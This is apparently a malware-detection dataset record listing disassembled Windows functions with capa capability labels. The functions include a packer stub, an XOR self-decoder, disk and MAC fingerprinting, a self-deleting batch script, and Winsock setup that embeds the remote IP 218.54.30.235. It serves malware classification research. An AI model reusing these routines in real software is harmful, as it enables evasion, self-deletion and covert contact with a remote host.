joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4105ac
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42a044]
jne 0x4105b6
repz ret
jmp fcn.00412414

Function at 0x419f36
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00412774
and dword [ebp - 4], 0
cmp dword [0x42c454], 0
mov ebx, eax
jne 0x419fe7
push 0x422bb8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41a098
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x422bac
push edi
call esi
test eax, eax
je 0x41a098
push eax
call fcn.00412702
mov dword [esp], 0x422b9c
push edi
mov dword [0x42c454], eax
call esi
push eax
call fcn.00412702
mov dword [esp], 0x422b88
push edi
mov dword [0x42c458], eax
call esi
push eax
call fcn.00412702
mov dword [esp], 0x422b6c
push edi
mov dword [0x42c45c], eax
call esi
push eax
call fcn.00412702
pop ecx
mov dword [0x42c464], eax
test eax, eax
je 0x419fe7
push 0x422b54
push edi
call esi
push eax
call fcn.00412702
pop ecx
mov dword [0x42c460], eax
mov eax, dword [0x42c460]
cmp eax, ebx
je 0x41a03f
cmp dword [0x42c464], ebx
je 0x41a03f
push eax
call fcn.0041277d
push dword [0x42c464]
mov esi, eax
call fcn.0041277d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41a03f
test edi, edi
je 0x41a03f
call esi
test eax, eax
je 0x41a036
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41a036
test byte [ebp - 0xc], 1
jne 0x41a03f
or dword [ebp + 0x10], 0x200000
jmp 0x41a078
mov eax, dword [0x42c458]
cmp eax, ebx
je 0x41a078
push eax
call fcn.0041277d
pop ecx
test eax, eax
je 0x41a078
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41a078
mov eax, dword [0x42c45c]
cmp eax, ebx
je 0x41a078
push eax
call fcn.0041277d
pop ecx
test eax, eax
je 0x41a078
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42c454]
call fcn.0041277d
pop ecx
test eax, eax
je 0x41a098
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41a09a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x410e10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.uvbyxDno
lea edi, [esi - 0xd000]
push edi
or ebp, 0xffffffff
jmp 0x410e32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x410e39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x410e28
mov eax, 1
add ebx, ebx
jne 0x410e4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x410e40
jne 0x410e5c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x410e40
xor ecx, ecx
sub eax, 3
jb 0x410e70
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x410ee2
mov ebp, eax
add ebx, ebx
jne 0x410e7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x410e88
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x410eac
inc ecx
add ebx, ebx
jne 0x410e98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x410e8d
jne 0x410ea9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x410e8d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x410ecc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x410ebd
jmp 0x410e2e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x410ecc
add edi, ecx
jmp 0x410e2e
pop esi
mov edi, esi
mov ecx, 0x1fd
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x410eea
cmp byte [edi], 1
jne 0x410eea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x410eef
lea edi, [esi + 0xe000]
mov eax, dword [edi]
or eax, eax
je 0x410f5e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x100b0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x10108]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x410f1c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x10110]
or eax, eax
je 0x410f58
mov dword [ebx], eax
add ebx, 4
jmp 0x410f39
call dword [esi + 0x1010c]
mov ebp, dword [esi + 0x10114]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x410f92
sub esp, 0xffffff80
jmp 0x405884
Function at 0x401000
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x11c], eax
push 0x118
lea eax, [esp + 8]
push 0
push eax
mov dword [0x421058], 0
call fcn.0040c9c0
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4010ef
mov eax, dword [esp + 4]
cmp eax, 5
jne 0x4010b4
mov eax, dword [esp + 8]
test eax, eax
jne 0x40108b
cmp word [esp + 0x114], 4
jb 0x4010ef
mov dword [0x421058], 1
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040911c
add esp, 0x120
ret
cmp eax, 2
jae 0x401095
cmp eax, 1
jne 0x4010ef
mov dword [0x421058], 3
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040911c
add esp, 0x120
ret
cmp eax, 6
jne 0x4010ef
mov eax, dword [esp + 8]
test eax, eax
jne 0x4010e0
mov dword [0x421058], 4
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040911c
add esp, 0x120
ret
cmp eax, 1
jne 0x4010ef
mov dword [0x421058], 5
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040911c
add esp, 0x120
ret
Function at 0x401c50
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0x12]
xor eax, eax
push edi
push ecx
mov word [esp + 0x18], ax
call fcn.0040c9c0
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x401d1f
mov eax, str.golfinfo.ini
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x401c95
sub eax, edx
sar eax, 1
je 0x401d1f
lea edx, [esp + 0xc]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.0040912b
push 0x41cd70
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.0040967b
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x401d1f
push eax
push 1
push 0x200
push esi
call fcn.0040996e
mov eax, dword [esp + 0x14]
push eax
call fcn.00409a02
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0040911c
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.0040911c
add esp, 0x214
ret

Function at 0x401d40
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x210], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0x12]
xor eax, eax
push edi
push ecx
mov word [esp + 0x18], ax
call fcn.0040c9c0
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x401e45
mov eax, str.golfset.ini
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x401d85
sub eax, edx
sar eax, 1
je 0x401e45
cmp dword [0x421058], 3
jne 0x401dcc
push 0x104
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41cd78
lea eax, [esp + 0x10]
push 0x104
push eax
call fcn.0040912b
add esp, 0xc
jmp 0x401ddc
lea ecx, [esp + 0xc]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfset.ini
lea edx, [esp + 0x10]
push 0x104
push edx
call fcn.0040912b
push 0x41cd70
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.0040967b
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x401e45
push eax
push 1
push 0x200
push esi
call fcn.0040996e
mov edx, dword [esp + 0x14]
push edx
call fcn.00409a02
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0040911c
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, edi
pop edi
xor ecx, esp
call fcn.0040911c
add esp, 0x214
ret
Function at 0x401e60
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x208], eax
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call fcn.0040c9c0
add esp, 0xc
cmp dword [0x421058], 3
jne 0x401ec0
push 0x104
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41cd78
lea eax, [esp + 4]
push 0x104
push eax
call fcn.0040912b
add esp, 0xc
jmp 0x401ecf
lea ecx, [esp]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea edx, [esp + 4]
push edx
push 0x41cd7c
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [esp + 0x218]
add esp, 0x10
xor ecx, esp
call fcn.0040911c
add esp, 0x20c
ret

Function at 0x4020a0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x218
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.0040c9c0
add esp, 0xc
push 0x104
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [esp + 8]
sub eax, 0x41
push eax
lea ebx, [esp + 8]
call fcn.004022f0
mov ebx, dword [esp + 8]
add esp, 4
call fcn.00402400
cmp eax, 0xffffffff
jne 0x402122
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0040911c
add esp, 0x218
ret
push esi
call fcn.00401fd0
mov ecx, dword [esp + 0x218]
add esp, 4
pop ebx
xor ecx, esp
call fcn.0040911c
add esp, 0x218
ret
Function at 0x402150
Capabilities:
Get disk information via ioctl

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebp, ebp
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x10], ebp
mov dword [esp + 0x18], ebp
je 0x40226e
push 0xb69
call fcn.00409b49
mov ecx, dword [esp + 0x28]
add esp, 4
push ebx
mov esi, eax
lea eax, [esp + 0x18]
push eax
push 0xb69
push esi
push ebx
push ebx
push 0x70050
push ecx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x402261
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x30]
test eax, eax
jl 0x4021c9
jg 0x4021bd
test ecx, ecx
jbe 0x4021c9
mov ebx, dword [esi + 0x38]
mov ebp, dword [esi + 0x3c]
mov edx, ecx
mov edi, eax
jmp 0x4021cd
mov edx, dword [esp + 0x18]
mov eax, dword [esi + 0xbd]
cmp eax, edi
mov ecx, dword [esi + 0xb9]
jl 0x4021f7
jg 0x4021e3
cmp ecx, edx
jbe 0x4021f7
mov ebx, dword [esi + 0xc1]
mov ebp, dword [esi + 0xc5]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x146]
cmp eax, edi
mov ecx, dword [esi + 0x142]
jl 0x402221
jg 0x40220d
cmp ecx, edx
jbe 0x402221
mov ebx, dword [esi + 0x14a]
mov ebp, dword [esi + 0x14e]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x1cf]
cmp eax, edi
mov ecx, dword [esi + 0x1cb]
jl 0x40224b
jg 0x402237
cmp ecx, edx
jbe 0x40224b
mov ebx, dword [esi + 0x1d3]
mov ebp, dword [esi + 0x1d7]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
push 0
add ebx, edx
push 0x200
adc ebp, edi
push ebp
push ebx
call fcn.00415f10
mov dword [esp + 0x10], eax
test esi, esi
je 0x40226e
push esi
call fcn.00409bae
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x402290
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp], eax
cmp esi, 0xffffffff
je 0x4022e1
mov eax, dword [esp + 0x1c]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], edx
lea edx, [esp + 4]
push edx
mov dword [esp + 0x10], eax
lea eax, [esp + 4]
push eax
push 0x400
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0x18
ret
Function at 0x402540
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x70
or eax, 0xffffffff
push ebx
mov ebx, 1
push ebp
push esi
mov dword [esp + 0x14], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x74], eax
push edi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x78], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x18], ebx
call fcn.00409229
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x41e948]
fadd qword [0x41e960]
call fcn.00415e60
mov ebp, eax
xor esi, esi
xor edi, edi
test ebp, ebp
jle 0x402660
call fcn.00409229
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fmul qword [0x41e948]
fmul qword [0x41e958]
fadd qword [0x41e950]
call fcn.00415e60
mov ecx, eax
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jle 0x402648
lea esp, [esp]
add ecx, ebx
cmp ecx, 0x1a
jne 0x402639
xor ecx, ecx
mov eax, dword [esp + ecx*4 + 0x18]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jg 0x402630
add esi, dword [esp + ecx*4 + 0x18]
mov eax, dword [esp + 0x84]
add ecx, 0x61
mov word [eax + edi*2], cx
add edi, ebx
cmp edi, ebp
jl 0x4025f7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x70
ret

Function at 0x402700
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x214
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x210], eax
push esi
push 0x206
xor esi, esi
lea ecx, [esp + 0x12]
xor eax, eax
push esi
push ecx
mov word [esp + 0x18], ax
call fcn.0040c9c0
add esp, 0xc
cmp edi, esi
je 0x4027e8
mov eax, 0x41cc50
mov dword [esp + 4], esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x402745
sub eax, edx
sar eax, 1
je 0x40276f
push 0x41cde4
lea edx, [esp + 8]
push 0x41cc50
push edx
call fcn.0040967b
add esp, 0xc
jmp 0x4027aa
lea eax, [esp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea ecx, [esp + 0x10]
push 0x104
push ecx
call fcn.0040912b
push 0x41cde4
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.0040967b
add esp, 0x18
mov eax, dword [esp + 4]
cmp eax, esi
je 0x4027cd
push eax
push 1
push 0x200
push edi
call fcn.00409d1b
mov ecx, dword [esp + 0x14]
push ecx
call fcn.00409a02
add esp, 0x14
mov eax, 1
pop esi
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0040911c
add esp, 0x214
ret
mov ecx, dword [esp + 0x214]
mov eax, esi
pop esi
xor ecx, esp
call fcn.0040911c
add esp, 0x214
ret
Function at 0x402800
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
push 0x41cd70
push eax
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], 0
call fcn.0040967b
add esp, 0xc
test eax, eax
je 0x402824
xor eax, eax
pop ecx
ret
mov edx, dword [esp]
push ebx
push ebp
push esi
push edi
push 2
push 0
push edx
call fcn.00409e27
mov eax, dword [esp + 0x1c]
push eax
call fcn.0040a049
mov ecx, dword [esp + 0x20]
push 0
push 0
push ecx
mov esi, eax
call fcn.00409e27
lea ebp, [esi + 0x32]
push ebp
call fcn.0040a106
mov edx, dword [esp + 0x30]
push edx
push 1
mov edi, eax
push esi
push edi
call fcn.0040996e
mov eax, dword [esp + 0x40]
push eax
call fcn.00409a02
lea ebx, [edi + esi]
mov eax, 0x32
call fcn.004028d0
mov ecx, dword [esp + 0x4c]
push 0x41cde4
push ecx
lea edx, [esp + 0x4c]
push edx
call fcn.0040967b
add esp, 0x40
test eax, eax
je 0x4028a2
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x10]
push eax
push 1
push ebp
push edi
call fcn.00409d1b
mov ecx, dword [esp + 0x20]
push ecx
call fcn.00409a02
add esp, 0x14
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
Function at 0x402920
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x314
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x310], eax
lea eax, [esp + 4]
push eax
push 0x104
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str._sannuy.bat
lea ecx, [esp + 8]
push 0x104
push ecx
call fcn.0040aa34
add esp, 0xc
push 0x104
lea edx, [esp + 0x10c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x108]
push eax
lea ecx, [esp + 0x210]
push 0x104
push ecx
call fcn.0040a1d0
lea edx, [esp + 0x218]
push 0x5c
push edx
call fcn.0040a240
add esp, 0x14
test eax, eax
je 0x4029ab
mov byte [eax], 0
push ebx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402aa7
mov eax, str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4029e0
sub eax, edx
push esi
push edi
mov edi, eax
lea eax, [esp + 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4029f7
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x10]
lea esi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402a10
sub eax, esi
lea edx, [eax + ecx*2]
add edx, ecx
lea edi, [edx + edi + 0x32]
push edi
call fcn.00409b49
push edi
mov esi, eax
push 0
push esi
call fcn.0040c9c0
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x22c]
push ecx
lea edx, [esp + 0x12c]
push edx
mov eax, edx
push eax
push str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
push edi
push esi
call fcn.0040a26d
mov eax, esi
add esp, 0x2c
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402a60
push 0
sub eax, ecx
lea ecx, [esp + 0x10]
push ecx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x402aa5
push esi
call fcn.00409bae
add esp, 4
pop edi
pop esi
mov ecx, dword [esp + 0x314]
pop ebx
xor ecx, esp
call fcn.0040911c
add esp, 0x314
ret
Function at 0x402ac0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x3e8
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x3e0], eax
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x1e2]
push ecx
mov word [esp + 0x1e4], ax
call fcn.0040c9c0
add esp, 0xc
lea edx, [esp + 8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x4229e0
call fcn.00401ba0
add esp, 4
test eax, eax
jne 0x402c09
push 0x3a
push eax
lea ecx, [esp + 0x1a6]
push ecx
mov word [esp + 0x1a8], ax
call fcn.0040c9c0
add esp, 0xc
lea edi, [esp + 0x19c]
call fcn.00402cd0
xor eax, eax
jmp 0x402b50
movzx ecx, word [esp + eax + 0x19c]
mov word [eax + 0x422b88], cx
add eax, 2
test cx, cx
jne 0x402b50
push str.218.54.30.235
push 0x40
push 0x4229e4
call fcn.004091a8
add esp, 0xc
push str.AAAA
push 0x10
push 0x422a66
call fcn.004091a8
add esp, 0xc
push 0x41cc84
push 0x40
push 0x422a86
call fcn.004091a8
mov eax, 0x2b70
mov edx, 0x51
add esp, 0xc
mov word [0x422b06], ax
mov word [0x422a64], dx
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x19c]
mov word [eax + 0x422b68], cx
add eax, 2
test cx, cx
jne 0x402bc0
mov eax, 0x422b68
add eax, 0xfffffffe
nop
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x402be0
mov ecx, dword [0x41ce00]
mov dx, word [0x41ce04]
mov dword [eax], ecx
mov word [eax + 4], dx
mov dword [0x422ba8], 5
call fcn.00402d70
lea edi, [esp + 0x1d8]
call fcn.00402cd0
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x1d8]
mov word [eax + 0x4229a0], cx
add eax, 2
test cx, cx
jne 0x402c20
push 0x4229a0
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x402c6c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
mov ecx, dword [esp + 0x3e0]
xor ecx, esp
call fcn.0040911c
add esp, 0x3e8
ret
push 0x4229a0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x402c54
mov ecx, 0x422be0
call fcn.00402fc0
mov eax, dword [0x422bac]
push 0
push 0
push 0
push 0x4035a0
push 0
push 0
mov dword [0x422be8], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x3e4]
pop edi
mov dword [0x42105c], eax
xor ecx, esp
mov eax, 1
call fcn.0040911c
add esp, 0x3e8
ret
Function at 0x403280
Capabilities:
Get mac address on windows

Disassembly:
sub esp, 0x3c
mov eax, dword [0x420044]
xor eax, esp
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x40]
push ebx
push ebp
push esi
mov esi, edx
mov dword [esp + 0x18], eax
xor eax, eax
xor edx, edx
push 0x288
mov dword [esp + 0x24], esi
mov dword [esp + 0x20], ecx
mov dword [esp + 0x10], 0xffffffff
mov word [esp + 0x28], dx
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov dword [esp + 0x36], eax
mov dword [esp + 0x3a], eax
mov dword [esp + 0x3e], eax
mov dword [esp + 0x42], eax
mov word [esp + 0x46], ax
xor ebx, ebx
call fcn.0040a106
mov ebp, eax
add esp, 4
lea eax, [esp + 0x10]
push eax
push ebp
mov dword [esp + 0x18], 0x288
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x403313
push ebp
call fcn.0040a667
mov ecx, dword [esp + 0x14]
push ecx
call fcn.0040a106
add esp, 8
mov ebp, eax
lea edx, [esp + 0x10]
push edx
push ebp
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x4033f7
mov eax, ebp
mov dword [esp + 0x14], ebp
test ebp, ebp
je 0x4033f7
push edi
jmp 0x403344
mov eax, dword [esp + 0x18]
inc dword [esp + 0x10]
test esi, esi
je 0x40335f
mov ecx, dword [eax + 0x194]
mov dword [esi], ecx
mov dx, word [eax + 0x198]
mov word [esi + 4], dx
lea edi, [eax + 0x1ac]
test edi, edi
je 0x4033e4
lea esp, [esp]
lea edx, [edi + 4]
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403378
sub eax, esi
mov ecx, eax
cmp ecx, 0x10
jle 0x40338d
mov ecx, 0x10
xor eax, eax
test ecx, ecx
jl 0x4033ad
cmp eax, ecx
jne 0x40339e
xor esi, esi
mov word [esp + eax*2 + 0x28], si
movsx si, byte [edx + eax]
mov word [esp + eax*2 + 0x28], si
inc eax
cmp eax, ecx
jle 0x403395
lea eax, [esp + 0x28]
push eax
call fcn.00402e20
add esp, 4
test eax, eax
je 0x4033d5
mov edx, dword [esp + 0x1c]
mov eax, dword [edx + ebx*4]
lea ecx, [esp + 0x28]
push ecx
push 0x10
push eax
call fcn.004091a8
add esp, 0xc
mov edi, dword [edi]
inc ebx
test edi, edi
jne 0x403370
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x24]
test ebx, ebx
jg 0x4033f6
mov eax, dword [eax]
mov dword [esp + 0x18], eax
test eax, eax
jne 0x403340
pop edi
mov ecx, dword [esp + 0x1c]
mov dword [ecx], ebx
test ebp, ebp
je 0x40340a
push ebp
call fcn.0040a667
add esp, 4
mov ecx, dword [esp + 0x44]
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040911c
add esp, 0x3c
ret